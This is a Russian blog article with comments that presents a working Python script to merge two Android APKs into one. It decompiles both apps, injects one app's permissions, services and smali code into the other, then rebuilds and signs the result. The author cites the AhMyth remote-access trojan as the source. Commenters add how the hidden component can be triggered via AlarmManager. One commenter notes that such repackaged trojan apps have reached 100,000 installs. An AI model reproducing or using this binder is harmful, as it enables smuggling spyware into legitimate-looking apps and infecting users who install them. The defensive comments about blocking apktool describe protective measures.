Склейка двух apk-файлов в один

    image

    Решил я как-то сделать склейку двух apk файлов, но информации о том, как это сделать на просторах интернета не особо то много. Тогда вооружившись трояном Ahmyth для android (его исходниками), началось путешествие в мир склейки apk своими руками. Коротко об этом далее…

    Кратко о сути задачи:

    Есть два apk файла( допустим 1.apk и 2.apk). Задача состоит в том, чтоб создать 3.apk, который будет склейкой 1 и 2 apk(и будет выполнять их функции).

    В итоге(код на python):


    Имеем:


    1. Папка apk — для файлов с apk;
    2. Папка tmp — для декомпилированных файлов;
    3. Папка tools — с дополнительным софтом(таким как apktool.jar,sign.jar,testkey).

    Сначала определяем текущую папку, в которой работаем и папки куда будем декомпилировать:

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    import re
    import codecs
    import os 
    from os import listdir
    import shutil
    import subprocess
    import datetime
    pwd = os.getenv("PWD", os.getcwd()) # текущая папка
    apkFolder1=pwd+"/tmp/1" # декомпилированный apk1
    apkFolder2=pwd+"/tmp/2" # декомпилированный apk2
    

    Затем производим декомпилирование apk файлов в папку tmp:

    print "Декомпиляция "+pwd+"/apk/1.apk"
    subprocess.call("java -jar "+ pwd+"/tools/apktool.jar d "+pwd+"/apk/1.apk -f -o " + pwd+"/tmp/1" , shell=True )
    print "Декомпиляция "+pwd+"/apk/2.apk"
     subprocess.call("java -jar " + pwd+"/tools/apktool.jar d "+pwd+"/apk/2.apk -f -o " + pwd+"/tmp/2" , shell=True )

    После этого шага у нас есть две папки /tmp/1 и /tmp/2 с декомпилированными файлами. Теперь самое интересное — объединение манифестов!

    print "Создание нового манифеста"
    mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()  # читаем манифест того, который будем добавлять в другое приложение 
    service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] # копируем все службы и сервисы 
    permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]# копируем все разрешения
    mainfest2 = open(apkFolder2+"/AndroidManifest.xml", "r").read() # читаем манифест того куда будем добавлять
    new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")]
    # перезапись созданного манифеста
    new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w")
    new_mainfest.write(new_mainfest2 )
    new_mainfest.close()
    

    Теперь по порядку в этом коде:

    Находим файл AndroidManifest.xml в папке /tmp/1:

    mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()

    В этом файле находим все заявленные сервисы и классы:

    service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] 

    В AndroidManifest.xml папки /tmp/1 Копируем все от тега "<uses-permission" до тега "<application ". Тут находятся все разрешения, которые нужны программе:

    permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]

    Находим файл AndroidManifest.xml в папке /tmp/2:

    mainfest1 = open(apkFolder2+"/AndroidManifest.xml", "r").read()

    После этого нам надо объединить все это в один файл, так, чтоб все было на своих местах.

    Новый манифест (new_mainfest2) состоит из:

    1. Начало AndroidManifest.xml приложения 2.apk(от начала до конца необходимых разрешений);
    2. Прибавляем сюда разрешения приложения 1.apk (permission1);
    3. Добавляем все, что есть в AndroidManifest.xml приложения 2.apk от тега "<application" до "

    Добавляем все службы приложения 1.apk (service1);
    Дописываем остатки AndroidManifest.xml приложения 2.apk.

    new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")]
    

    Перезапись AndroidManifest.xml в папке /tmp/2:

    # перезапись созданного манифеста
    new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w")
    new_mainfest.write(new_mainfest2 )
    new_mainfest.close()

    На этом сборка AndroidManifest закончена. Осталось скопировать все классы из /tmp/1 в /tmp/2. А точнее будем копировать папки smali(тут все классы приложения) и unknown:

    subprocess.call("cp -rn "+apkFolder1+"/smali "+apkFolder2  , shell=True ) # копирование из /smali apkFolder1 в /smali apkFolder2
    subprocess.call("cp -rn "+apkFolder1+"/unknown "+apkFolder2  , shell=True ) # копирование из /unknown apkFolder1 в /unknown apkFolder2
     

    Ну и в завершение надо собрать все это в файл формата apk, подписать:

     print "Компиляция apk в папку "+ pwd+"/tmp/3.apk"
    subprocess.call("java -jar " + pwd+"/tools/apktool.jar b "+pwd+"/tmp/2 -o " + pwd+"/tmp/3.apk" , shell=True )
    print "Подпись файла "+ pwd+"/tmp/3.apk" 
    subprocess.call("java -jar " + pwd+"/tools/sign.jar "+pwd+"/tmp/3.apk --override", shell=True ) 	 
     

    В результате этого в папке tmp появляется файл 3.apk, который и является склейкой двух других.

    P.S. В данном варианте при склейке разрешений двух приложений не проверяется их сравнение и добавление только тех, которых нет. Может( и возникнет) дублирование при декларации разрешений. Но на данном этапе все работает и с дублированием.

    Источники:

    AhMyth-Android-RAT
    Поделиться публикацией
    Комментарии 8
      0
      А разве активити трояна не нужно каким то образом вызвать? приложение донор этого делать не будет. Как ожидается что юзер его запустит?
        0
        Я могу быть не прав, но мне кажется, что при нажатии на иконку легитимного приложения система бросает широковещательное сообщение на открытие в данном приложении MAIN_ACTIVITY. А в манифесте в <intent-filter> главной активити содержится что-то вроде:
         <action android:name="OPEN_MAIN_ACTIVITY" />
         <category android:name="android.intent.category.DEFAULT" />

        Как мне кажется, в зависимости от этих строк система и определяет какую из активити приложения запустить. А так как в нашем случае таких активити будет две, то они и запустятся.
        Но это мое предположение принципа работы Android.
          0
          Если речь о
            0
            Прошу прощения, случайно не дописал и отправил) есть возможность удалить коммент?
            Если речь о
            <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>

            То не совсем верно. В штатном порядке появятся две одинаковые иконки с одинаковыми названиями (если они не разграничены label и icon). На какую юзер нажмет- та и запустится. Исключения- сторонние лаунчеры (редко- заводские, от вендора), там могут быть свои алгоритмы запуска. Не могу быть на 100% уверен, но все девайсы, что есть на руках, ведут себя так.
            0

            В простейшем случае, можно определить свой Application класс (наследуемый от базового или android.app.Application), который может вызвать, через AlarmManager любой Activity/Service компонент с любой задержкой.


            Тут важно понимать, что склейка любых apk не пройдет, как только декомпиляция, через apktool потерпит неудачу, а сделать такую защиту от подобных инструментов довольно легко.

              0
              apktool потерпит неудачу

              Такое может быть? Может глупый вопрос, конечно, но я не представляю как может не получится декомпиляция на ассемблерный язык. Только если сам apk поврежден
                0
                Конкретно apktool сначала распаковывает ресурсы (resources.arsc), а затем декомпилирует dex файл. Если немного модифицировать resources.arsc (apk останется полностью валидным), то apktool вылетает с исключением и даже не дойдёт до стадии dex декомпиляции.
              0
              Данную статью и все остальные вопросы нужно рассматривать только как вектор угроз.
              Объяснять доступно, как троянская часть получит управление не стоит.

              Буквально на прошлой неделе в топ-500 попалась такая поделка.
              Первый релиз с большим номером версии, он же последний. 100 тысяч установок за 2 недели. Органически приложение с заявленным функционалом набирало бы их минимум
              год. При запуске требует права доступа к звонкам. Если не дать — завершается.
              Из интереса нашел донора этой поделки. До этой статьи думал, что хоть крутой хакер такое может сделать.
              Но после этой статьи понял — любой школьник осилит.

            Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

            Самое читаемое